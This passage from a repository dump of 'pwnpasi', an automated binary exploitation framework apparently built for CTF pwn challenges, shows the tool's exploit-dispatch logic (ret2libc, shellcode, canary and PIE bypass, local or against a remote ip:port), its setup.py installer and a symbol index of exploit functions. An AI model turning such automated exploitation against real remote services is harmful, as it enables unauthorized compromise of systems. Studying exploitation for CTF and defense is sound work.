                        if bit_arch == 64:
                            ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff)
                            sys.exit(0)
                    
                    if bit_arch == 32:
                        if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
                            execve_canary_syscall(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,c,diff)
                            sys.exit(0)
                
                sys.exit(0)
        else:
            print_error("no format string vulnerability found for canary bypass")
            print_warning("canary protection cannot be bypassed with current methods")
    
    # Stack overflow detection (following pwnpasi_base.py logic)
    if not args.fill:
        #print_section_header("VULNERABILITY ANALYSIS")
        #print_info("testing for stack overflow vulnerability")
        padding = test_stack_overflow(program, bit_arch)
        if padding != 0:
            padding = asm_stack_overflow(program, bit_arch)
            #print_success(f"stack overflow vulnerability detected with padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
            results = vuln_func_name()
            
        else:
            print_warning("no stack overflow vulnerability detected through dynamic testing")
    
    print_section_header("EXPLOITATION PHASE")
    print_info("initializing exploitation attempts")
    
    # Format string vulnerability handling when no stack overflow
    if padding == 0:
        print_section_header("FORMAT STRING VULNERABILITY ANALYSIS")
        print_info("testing for format string vulnerability")
        fmtstr = detect_format_string_vulnerability(program)
        if check_binsh(program):
            print_success('/bin/sh string found in binary')
            bin_sh = 1
        else:
            print_warning('/bin/sh string not found in binary')
            bin_sh = 0

        if args.ip and args.port:
            print_section_header("REMOTE FORMAT STRING EXPLOITATION")
            print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
            if globals().get('system', 0) == 1 and bin_sh == 1:
                print_info('attempting to leak program strings via format string')
                fmtstr_print_strings_remote(program, args.ip, args.port)
                try:
                    offset = find_offset(program)
                    log.info(f"Offset found: \033[31m{offset}\033[0m")
                    result = find_ftmstr_bss_symbols(program)
                    if len(result) == 3:
                        function, buf_addr, function_name = result
                        system_fmtstr_remote(program, offset, buf_addr, args.ip, args.port)
                except ValueError:
                    print('[*]Offset not found, continuing with other exploitation methods')
                sys.exit(0)
            else:
                print_warning('system function or /bin/sh not available, attempting string leak only')
                fmtstr_print_strings_remote(program, args.ip, args.port)
                sys.exit(0)

        else:
            print_section_header("LOCAL FORMAT STRING EXPLOITATION")
            print_info("executing local format string exploitation")
            if globals().get('system', 0) == 1 and bin_sh == 1:
                print_info('attempting to leak program strings via format string')
                fmtstr_print_strings(program)
                try:
                    offset = find_offset(program)
                    log.info(f"Offset found: \033[31m{offset}\033[0m")
                    result = find_ftmstr_bss_symbols(program)
                    if len(result) == 3:
                        function, buf_addr, function_name = result
                        system_fmtstr(program, offset, buf_addr)
                except ValueError:
                    print('[*]Offset not found, continuing with other exploitation methods')
                sys.exit(0)
            else:
                print_warning('system function or /bin/sh not available, attempting string leak only')
                fmtstr_print_strings(program)
                sys.exit(0)
    else:
        # Stack overflow exploitation (following pwnpasi_base.py logic)
        if args.ip and args.port:
            print_section_header("REMOTE STACK OVERFLOW EXPLOITATION")
            print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
            if pie_enabled == 1 and globals().get('backdoor', 0) == 1:
                print_warning("PIE protection detected, but backdoor function available")
                print_info("initiating PIE bypass via backdoor function brute force")
                pie_backdoor_exploit_remote(program, padding, globals().get('backdoor', 0), libc_path, libc, args.ip, args.port, globals().get('callsystem', 0))
                sys.exit(0)
            
            if globals().get('system', 0) == 1 and bin_sh == 1:
                if bit_arch == 32:
                    ret2_system_x32_remote(program, libc, padding, args.ip, args.port)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, args.ip, args.port)
                    sys.exit(0)
            
            if globals().get('write', 0) == 1:
                if bit_arch == 32:
                    ret2libc_write_x32_remote(program, libc, padding, args.ip, args.port)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port)
                    sys.exit(0)
            
            if globals().get('puts', 0) == 1:
                if bit_arch == 32:
                    ret2libc_put_x32_remote(program, libc, padding, args.ip, args.port)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port)
                    sys.exit(0)
            
            if rwx_segments == 1:
                if bit_arch == 32:
                    function, buf_addr, function_name = find_large_bss_symbols(program)
                    if function == 1:
                        rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port)
                        sys.exit(0)
                if bit_arch == 64:
                    function, buf_addr, function_name = find_large_bss_symbols(program)
                    if function == 1:
                        rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port)
                        sys.exit(0)
            
            if bit_arch == 32:
                if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
                    execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, args.ip, args.port)
                    sys.exit(0)
        else:
            print_section_header("LOCAL STACK OVERFLOW EXPLOITATION")
            print_info("executing local stack overflow exploitation")
            if pie_enabled == 1 and globals().get('backdoor', 0) == 1:
                print_warning("PIE protection detected, but backdoor function available")
                print_info("initiating PIE bypass via backdoor function brute force")
                pie_backdoor_exploit(program, padding, globals().get('backdoor', 0), libc_path, libc, globals().get('callsystem', 0))
                sys.exit(0)
            
            if globals().get('system', 0) == 1 and bin_sh == 1:
                if bit_arch == 32:
                    ret2_system_x32(program, libc, padding, libc_path)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path)
                    sys.exit(0)
            
            if globals().get('write', 0) == 1:
                if bit_arch == 32:
                    ret2libc_write_x32(program, libc, padding, libc_path)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path)
                    sys.exit(0)
            
            if globals().get('puts', 0) == 1:
                if bit_arch == 32:
                    ret2libc_put_x32(program, libc, padding, libc_path)
                    sys.exit(0)
                if bit_arch == 64:
                    ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path)
                    sys.exit(0)
            
            if rwx_segments == 1:
                if bit_arch == 32:
                    function, buf_addr, function_name = find_large_bss_symbols(program)
                    if function == 1:
                        rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr)
                        sys.exit(0)
                if bit_arch == 64:
                    function, buf_addr, function_name = find_large_bss_symbols(program)
                    if function == 1:
                        rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path)
                        sys.exit(0)
            
            if bit_arch == 32:
                if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
                    execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80)
                    sys.exit(0)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print_error("\ninterrupted by user")
        sys.exit(1)
    except Exception as e:
        print_critical(f"unexpected error: {e}")
        sys.exit(1)




================================================
FILE: requirements.txt
================================================
pwntools>=4.9.0
LibcSearcher>=1.1.5
ropper>=1.13.5
python-docx>=0.8.11

================================================
FILE: setup.py
================================================
#!/usr/bin/env python3
import os
import sys
import time
import subprocess
from setuptools import setup, find_packages

# 科技化颜色方案
class Colors:
    CYAN = '\033[96m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    WHITE = '\033[97m'
    BOLD = '\033[1m'
    DIM = '\033[2m'
    END = '\033[0m'
    BLINK = '\033[5m'

def print_banner():
    banner = f"""{Colors.CYAN}{Colors.BOLD}
    ██████╗ ██╗    ██╗███╗   ██╗██████╗  █████╗ ███████╗██╗
    ██╔══██╗██║    ██║████╗  ██║██╔══██╗██╔══██╗██╔════╝██║
    ██████╔╝██║ █╗ ██║██╔██╗ ██║██████╔╝███████║███████╗██║
    ██╔═══╝ ██║███╗██║██║╚██╗██║██╔═══╝ ██╔══██║╚════██║██║
    ██║     ╚███╔███╔╝██║ ╚████║██║     ██║  ██║███████║██║
    ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝  ╚═╝╚══════╝╚═╝
{Colors.END}
{Colors.MAGENTA}    ╔══════════════════════════════════════════════════════╗
    ║           {Colors.WHITE}{Colors.BOLD}ADVANCED PWN EXPLOITATION FRAMEWORK{Colors.END}{Colors.MAGENTA}         ║
    ║                    {Colors.YELLOW}Setup & Installation{Colors.END}{Colors.MAGENTA}                   ║
    ╚══════════════════════════════════════════════════════╝{Colors.END}
"""
    print(banner)
    time.sleep(0.5)

def print_progress_bar(current, total, task_name, width=50):
    progress = current / total
    filled = int(width * progress)
    bar = '█' * filled + '░' * (width - filled)
    percentage = int(progress * 100)
    print(f"\r{Colors.CYAN}[{Colors.YELLOW}◉{Colors.CYAN}]{Colors.END} {task_name}: {Colors.MAGENTA}[{bar}]{Colors.END} {Colors.BOLD}{percentage}%{Colors.END}", end='', flush=True)
    if current == total:
        print(f" {Colors.GREEN}✓{Colors.END}")

def print_status(status_type, message):
    icons = {
        'info': f'{Colors.CYAN}[{Colors.WHITE}◉{Colors.CYAN}]{Colors.END}',
        'success': f'{Colors.GREEN}[{Colors.WHITE}✓{Colors.GREEN}]{Colors.END}',
        'warning': f'{Colors.YELLOW}[{Colors.WHITE}⚠{Colors.YELLOW}]{Colors.END}',
        'error': f'{Colors.RED}[{Colors.WHITE}✗{Colors.RED}]{Colors.END}',
        'process': f'{Colors.MAGENTA}[{Colors.WHITE}⟳{Colors.MAGENTA}]{Colors.END}'
    }
    timestamp = time.strftime('%H:%M:%S')
    print(f"{icons[status_type]} {Colors.DIM}[{timestamp}]{Colors.END} {message}")

def run_command(command, error_message):
    try:
        result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        return result
    except subprocess.CalledProcessError as e:
        print_status('error', f"{error_message}")
        print(f"    {Colors.RED}└─ {e.stderr.strip()}{Colors.END}")
        sys.exit(1)

def install_system_dependencies():
    dependencies = [
        # Add system dependencies here if needed
    ]
    
    if not dependencies:
        print_status('info', f"No system dependencies required")
        return
    
    print_status('process', f"Updating package repositories...")
    for i in range(1, 4):
        print_progress_bar(i, 3, "Repository sync", 40)
        time.sleep(0.3)
    
    run_command(['sudo', 'apt', 'update'], "Failed to update package list")
    print_status('success', "Package repositories updated")

    for i, (pkg, desc) in enumerate(dependencies, 1):
        print_status('process', f"Installing {desc} ({pkg})...")
        for j in range(1, 6):
            print_progress_bar(j, 5, f"Installing {pkg}", 35)
            time.sleep(0.2)
        run_command(['sudo', 'apt', 'install', '-y', pkg], f"Failed to install {pkg}")
        print_status('success', f"{desc} installed successfully")

def install_system_packages_for_pwntools():
    """Install system packages required for pwntools on Kali/Debian"""
    kali_packages = [
        ('python3-dev', 'Python development headers'),
        ('python3-pip', 'Python package installer'),
        ('build-essential', 'Build tools'),
        ('libssl-dev', 'SSL development libraries'),
        ('libffi-dev', 'FFI development libraries'),
        ('python3-setuptools', 'Python setuptools'),
        ('libc6-dev', 'C library development files'),
        ('gcc', 'GNU Compiler Collection')
    ]
    
    print_status('process', "Installing system packages for pwntools...")
    
    # Update package list first
    try:
        subprocess.run(['sudo', 'apt', 'update'], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print_status('success', "Package list updated")
    except subprocess.CalledProcessError:
        print_status('warning', "Failed to update package list, continuing...")
    
    for pkg, desc in kali_packages:
        try:
            print_status('info', f"Installing {desc}...")
            subprocess.run(['sudo', 'apt', 'install', '-y', pkg], 
                         check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            print_status('success', f"{desc} installed")
        except subprocess.CalledProcessError:
            print_status('warning', f"Failed to install {pkg}, may already be installed")

def install_python_dependencies():
    python_deps = [
        ('pwntools>=4.9.0', 'PWN exploitation toolkit'),
        ('LibcSearcher>=1.1.5', 'Libc database searcher'),
        ('ropper>=1.13.5', 'ROP gadget finder')
    ]
    
    print_status('process', "Installing Python dependencies...")
    
    # Check if we're on Kali/Debian and install system packages first
    if os.path.exists('/etc/debian_version'):
        print_status('info', "Detected Debian/Kali system, installing system dependencies...")
        install_system_packages_for_pwntools()
    
    for i, (pkg, desc) in enumerate(python_deps, 1):
        print_status('info', f"Installing {desc}...")
        for j in range(1, 6):
            print_progress_bar(j, 5, f"Installing {pkg.split('>=')[0]}", 35)
            time.sleep(0.2)
        
        # Try multiple installation methods
        success = False
        
        # Method 1: Regular pip install
        try:
            subprocess.run([sys.executable, '-m', 'pip', 'install', pkg], 
                         check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            print_status('success', f"{desc} installed successfully")
            success = True
        except subprocess.CalledProcessError as e:
            print_status('warning', f"Standard pip install failed for {pkg}")
        
        # Method 2: Try with --user flag
        if not success:
            try:
                subprocess.run([sys.executable, '-m', 'pip', 'install', '--user', pkg], 
                             check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                print_status('success', f"{desc} installed successfully (user mode)")
                success = True
            except subprocess.CalledProcessError:
                print_status('warning', f"User pip install failed for {pkg}")
        
        # Method 3: Try with --break-system-packages (for newer pip versions)
        if not success:
            try:
                subprocess.run([sys.executable, '-m', 'pip', 'install', '--break-system-packages', pkg], 
                             check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                print_status('success', f"{desc} installed successfully (system override)")
                success = True
            except subprocess.CalledProcessError:
                print_status('warning', f"System override pip install failed for {pkg}")
        
        # Method 4: Try apt install for pwntools on Kali
        if not success and pkg.startswith('pwntools') and os.path.exists('/etc/debian_version'):
            try:
                subprocess.run(['sudo', 'apt', 'install', '-y', 'python3-pwntools'], 
                             check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                print_status('success', f"{desc} installed via apt")
                success = True
            except subprocess.CalledProcessError:
                print_status('warning', f"APT install failed for pwntools")
        
        if not success:
            print_status('error', f"All installation methods failed for {pkg}")
            print_status('info', f"Please manually install {pkg} using:")
            print(f"    {Colors.YELLOW}sudo apt install python3-dev build-essential{Colors.END}")
            print(f"    {Colors.YELLOW}pip3 install {pkg}{Colors.END}")
            # Don't exit, continue with other packages
            continue

def main():
    print_banner()
    
    print_status('info', f"Initializing PWNPASI setup environment...")
    time.sleep(0.5)
    
    if os.name == 'posix' and os.geteuid() != 0:
        print_status('warning', "System package installation may require sudo privileges")
        print_status('info', "You may be prompted for your password")
        print()
    
    # System dependencies
    print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END}     {Colors.CYAN}SYSTEM DEPENDENCIES PHASE{Colors.END}     {Colors.BOLD}{Colors.BLUE}║{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}")
    install_system_dependencies()
    
    # Python dependencies
    print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END}     {Colors.CYAN}PYTHON DEPENDENCIES PHASE{Colors.END}     {Colors.BOLD}{Colors.BLUE}║{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}")
    install_python_dependencies()
    
    # Completion
    print(f"\n{Colors.BOLD}{Colors.GREEN}╔═══════════════════════════════════════╗{Colors.END}")
    print(f"{Colors.BOLD}{Colors.GREEN}║{Colors.END}        {Colors.WHITE}INSTALLATION COMPLETE{Colors.END}        {Colors.BOLD}{Colors.GREEN}║{Colors.END}")
    print(f"{Colors.BOLD}{Colors.GREEN}╚═══════════════════════════════════════╝{Colors.END}")
    
    print_status('success', f"PWNPASI framework successfully installed!")
    print_status('info', f"Ready for advanced PWN exploitation")
    print(f"\n{Colors.CYAN}    Usage: {Colors.WHITE}python pwnpasi.py -l <target_binary>{Colors.END}")
    print(f"{Colors.CYAN}    Help:  {Colors.WHITE}python pwnpasi.py --help{Colors.END}\n")

def setup_system_command():
    """Setup pwnpasi as a system command"""
    import shutil
    import stat
    
    # Get current script path
    current_dir = os.path.dirname(os.path.abspath(__file__))
    pwnpasi_script = os.path.join(current_dir, 'pwnpasi.py')
    
    # Determine system bin directory
    if os.name == 'posix':  # Linux/macOS
        bin_dirs = ['/usr/local/bin', '/usr/bin']
        target_name = 'pwnpasi'
    else:  # Windows
        # For Windows, we'll add to Python Scripts directory
        import sys
        scripts_dir = os.path.join(os.path.dirname(sys.executable), 'Scripts')
        bin_dirs = [scripts_dir] if os.path.exists(scripts_dir) else []
        target_name = 'pwnpasi.py'
    
    # Find writable bin directory
    target_dir = None
    for bin_dir in bin_dirs:
        if os.path.exists(bin_dir) and os.access(bin_dir, os.W_OK):
            target_dir = bin_dir
            break
    
    if not target_dir:
        print_status('warning', "No writable system directory found, trying with sudo...")
        target_dir = bin_dirs[0] if bin_dirs else '/usr/local/bin'
    
    target_path = os.path.join(target_dir, target_name)
    
    try:
        # Copy script to system directory
        print_status('process', f"Installing pwnpasi to {target_path}...")
        
        if os.name == 'posix':
            # For Linux/macOS, create a wrapper script
            wrapper_content = f"#!/usr/bin/env python3\n# PWNPASI System Command Wrapper\nimport sys\nimport os\nsys.path.insert(0, '{current_dir}')\nfrom pwnpasi import main\nif __name__ == '__main__':\n    main()\n"
            
            # Try to write directly first
            try:
                with open(target_path, 'w') as f:
                    f.write(wrapper_content)
                os.chmod(target_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
            except PermissionError:
                # Use sudo if needed
                import tempfile
                with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py') as tmp:
                    tmp.write(wrapper_content)
                    tmp_path = tmp.name
                
                run_command(['sudo', 'cp', tmp_path, target_path], f"Failed to install to {target_path}")
                run_command(['sudo', 'chmod', '+x', target_path], f"Failed to set permissions for {target_path}")
                os.unlink(tmp_path)
        else:
            # For Windows, copy the script directly
            shutil.copy2(pwnpasi_script, target_path)
        
        print_status('success', f"PWNPASI installed as system command: {target_name}")
        print_status('info', f"You can now run 'pwnpasi' from anywhere in the terminal")
        
        # Add to PATH if needed (Windows)
        if os.name == 'nt' and target_dir not in os.environ.get('PATH', '').split(os.pathsep):
            print_status('info', f"Add {target_dir} to your PATH environment variable for global access")
            
    except Exception as e:
        print_status('error', f"Failed to install system command: {str(e)}")
        print_status('info', "You can still run pwnpasi using: python pwnpasi.py")

if __name__ == '__main__':
    main()
    
    # Ask user if they want to install as system command
    print(f"\n{Colors.CYAN}╔═══════════════════════════════════════╗{Colors.END}")
    print(f"{Colors.CYAN}║{Colors.END}     {Colors.YELLOW}SYSTEM COMMAND SETUP{Colors.END}        {Colors.CYAN}║{Colors.END}")
    print(f"{Colors.CYAN}╚═══════════════════════════════════════╝{Colors.END}")
    
    response = input(f"{Colors.CYAN}[◉]{Colors.END} Install pwnpasi as system command? (y/N): ").strip().lower()
    if response in ['y', 'yes']:
        setup_system_command()
    else:
        print_status('info', "Skipped system command installation")
        print_status('info', "Run 'python setup.py' again and choose 'y' to install later")
else:
    setup(
        name="pwnpasi",
        version="3.0.0",
        description="Advanced PWN Exploitation Framework",
        author="Ba1_Ma0",
        packages=find_packages(),
        install_requires=[
            'pwntools>=4.9.0',
            'LibcSearcher>=1.1.5',
            'ropper>=1.13.5'
        ],
        python_requires='>=3.8',
        entry_points={
            'console_scripts': [
                'pwnpasi=pwnpasi:main',
            ],
        },
        scripts=['pwnpasi.py'],
    )
Download .txt
gitextract_20oez4rg/

├── Challenge/
│   ├── canary
│   ├── fmtstr1
│   ├── level3_x64
│   └── pie
├── LICENSE
├── README.md
├── level3_x64_wp(automatically_generating_reports).docx
├── pwnpasi.py
├── requirements.txt
└── setup.py
Download .txt
SYMBOL INDEX (89 symbols across 2 files)

FILE: pwnpasi.py
  function cleanup_core_files (line 37) | def cleanup_core_files():
  class Colors (line 70) | class Colors:
  function print_banner (line 89) | def print_banner():
  function print_info (line 104) | def print_info(message, prefix="[*]"):
  function print_success (line 109) | def print_success(message, prefix="[+]"):
  function print_warning (line 114) | def print_warning(message, prefix="[!]"):
  function print_error (line 119) | def print_error(message, prefix="[-]"):
  function print_critical (line 124) | def print_critical(message, prefix="[CRITICAL]"):
  function print_payload (line 129) | def print_payload(message, prefix="[PAYLOAD]"):
  function print_section_header (line 134) | def print_section_header(title):
  function print_progress (line 141) | def print_progress(current, total, task_name):
  function print_table_header (line 151) | def print_table_header(headers):
  function print_table_row (line 158) | def print_table_row(values, colors=None):
  function update_exploit_info (line 170) | def update_exploit_info(key, value):
  function generate_exploitation_code (line 175) | def generate_exploitation_code():
  function generate_docx_report (line 311) | def generate_docx_report():
  function handle_exploitation_success (line 426) | def handle_exploitation_success(exploit_type, payload, padding, addresse...
  function set_permission (line 441) | def set_permission(program):
  function add_current_directory_prefix (line 450) | def add_current_directory_prefix(program):
  function detect_libc (line 456) | def detect_libc(program):
  function ldd_libc (line 481) | def ldd_libc(program):
  function Information_Collection (line 505) | def Information_Collection(program):
  function collect_binary_info (line 566) | def collect_binary_info(program):
  function display_binary_info (line 622) | def display_binary_info(info_dict):
  function find_large_bss_symbols (line 651) | def find_large_bss_symbols(program):
  function scan_plt_functions (line 676) | def scan_plt_functions(program):
  function set_function_flags (line 717) | def set_function_flags(function_addresses):
  function find_rop_gadgets_x64 (line 723) | def find_rop_gadgets_x64(program):
  function find_rop_gadgets_x32 (line 783) | def find_rop_gadgets_x32(program):
  function test_stack_overflow (line 858) | def test_stack_overflow(program, bit):
  function analyze_vulnerable_functions (line 898) | def analyze_vulnerable_functions(program, bit):
  function vuln_func_name (line 952) | def vuln_func_name():
  function asm_stack_overflow (line 983) | def asm_stack_overflow(program, bit):
  function check_binsh_string (line 1025) | def check_binsh_string(program):
  function check_binsh (line 1046) | def check_binsh(program):
  function detect_format_string_vulnerability (line 1054) | def detect_format_string_vulnerability(program):
  function find_ftmstr_bss_symbols (line 1118) | def find_ftmstr_bss_symbols(program):
  function find_offset (line 1138) | def find_offset(program):
  function system_fmtstr (line 1168) | def system_fmtstr(program, offset, buf_addr):
  function ret2libc_write_x64 (line 1201) | def ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_add...
  function ret2libc_write_x32_remote (line 1331) | def ret2libc_write_x32_remote(program, libc, padding, url, port):
  function ret2libc_write_x64_remote (line 1405) | def ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_...
  function system_fmtstr_remote (line 1529) | def system_fmtstr_remote(program, offset, buf_addr, url, port):
  function fmtstr_print_strings (line 1548) | def fmtstr_print_strings(program):
  function fmtstr_print_strings_remote (line 1565) | def fmtstr_print_strings_remote(program, url, port):
  function leakage_canary_value (line 1582) | def leakage_canary_value(program):
  function canary_fuzz (line 1599) | def canary_fuzz(program, bit):
  function pie_backdoor_exploit (line 1746) | def pie_backdoor_exploit(program, padding, backdoor, libc_path, libc, ca...
  function pie_backdoor_exploit_remote (line 1780) | def pie_backdoor_exploit_remote(program, padding, backdoor, libc_path, l...
  function ret2libc_write_x32 (line 1816) | def ret2libc_write_x32(program, libc, padding, libc_path):
  function ret2_system_x32 (line 1892) | def ret2_system_x32(program, libc, padding, libc_path):
  function ret2_system_x64 (line 1918) | def ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_regi...
  function ret2_system_x32_remote (line 1957) | def ret2_system_x32_remote(program, libc, padding, url, port):
  function ret2_system_x64_remote (line 1975) | def ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_r...
  function ret2libc_put_x32 (line 2006) | def ret2libc_put_x32(program, libc, padding, libc_path):
  function ret2libc_put_x64 (line 2073) | def ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr,...
  function execve_syscall (line 2169) | def execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx...
  function rwx_shellcode_x32 (line 2233) | def rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr):
  function rwx_shellcode_x64 (line 2254) | def rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_add...
  function ret2libc_put_x32_remote (line 2275) | def ret2libc_put_x32_remote(program, libc, padding, url, port):
  function ret2libc_put_x64_remote (line 2344) | def ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rs...
  function execve_syscall_remote (line 2439) | def execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, ...
  function rwx_shellcode_x32_remote (line 2487) | def rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ...
  function rwx_shellcode_x64_remote (line 2508) | def rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ...
  function ret2libc_put_canary_x32 (line 2529) | def ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff):
  function ret2libc_put_x32_canary_remote (line 2593) | def ret2libc_put_x32_canary_remote(program,libc,padding,url,port,c,diff):
  function ret2libc_put_canary_x64 (line 2657) | def ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret...
  function ret2libc_put_x64_canary_remote (line 2720) | def ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, po...
  function ret2libc_write_canary_x32 (line 2783) | def ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff):
  function ret2libc_write_canary_x64 (line 2840) | def ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi...
  function ret2_system_canary_x32 (line 2941) | def ret2_system_canary_x32(program, libc, padding, libc_path, c, diff):
  function ret2_system_canary_x64 (line 2960) | def ret2_system_canary_x64(program, libc, padding, pop_rdi_addr, other_r...
  function execve_canary_syscall (line 2990) | def execve_canary_syscall(program, padding, pop_eax_addr, pop_ebx_addr, ...
  function ret2libc_write_x32_canary_remote (line 3046) | def ret2libc_write_x32_canary_remote(program,libc,padding,url,port,c,diff):
  function ret2libc_write_x64_canary_remote (line 3105) | def ret2libc_write_x64_canary_remote(program, libc, padding, pop_rdi_add...
  function ret2_system_x32_canary_remote (line 3211) | def ret2_system_x32_canary_remote(program, libc, padding, url, port, c, ...
  function ret2_system_x64_canary_remote (line 3230) | def ret2_system_x64_canary_remote(program, libc, padding, pop_rdi_addr, ...
  function execve_syscall_canary_remote (line 3260) | def execve_syscall_canary_remote(program, padding, pop_eax_addr, pop_ebx...
  function main (line 3316) | def main():

FILE: setup.py
  class Colors (line 9) | class Colors:
  function print_banner (line 22) | def print_banner():
  function print_progress_bar (line 39) | def print_progress_bar(current, total, task_name, width=50):
  function print_status (line 48) | def print_status(status_type, message):
  function run_command (line 59) | def run_command(command, error_message):
  function install_system_dependencies (line 68) | def install_system_dependencies():
  function install_system_packages_for_pwntools (line 93) | def install_system_packages_for_pwntools():
  function install_python_dependencies (line 124) | def install_python_dependencies():
  function main (line 194) | def main():
  function setup_system_command (line 227) | def setup_system_command():
Condensed preview — 10 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (173K chars).
[
  {
    "path": "LICENSE",
    "chars": 1064,
    "preview": "MIT License\n\nCopyright (c) 2025 Ba1_Ma0\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof"
  },
  {
    "path": "README.md",
    "chars": 5204,
    "preview": "<div align=\"center\">\n\n# 🚀 PwnPasi 3.1\n\n**Professional Automated Binary Exploitation Framework**\n\n[![Version](https://img"
  },
  {
    "path": "pwnpasi.py",
    "chars": 142255,
    "preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom pwn import *\nfrom LibcSearcher import *\nimport argparse\nimport sys\n"
  },
  {
    "path": "requirements.txt",
    "chars": 70,
    "preview": "pwntools>=4.9.0\nLibcSearcher>=1.1.5\nropper>=1.13.5\npython-docx>=0.8.11"
  },
  {
    "path": "setup.py",
    "chars": 15143,
    "preview": "#!/usr/bin/env python3\r\nimport os\r\nimport sys\r\nimport time\r\nimport subprocess\r\nfrom setuptools import setup, find_packag"
  }
]

// ... and 5 more files (download for full content)

About this extraction

This page contains the full source code of the heimao-box/pwnpasi GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 10 files (159.9 KB), approximately 42.5k tokens, and a symbol index with 89 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!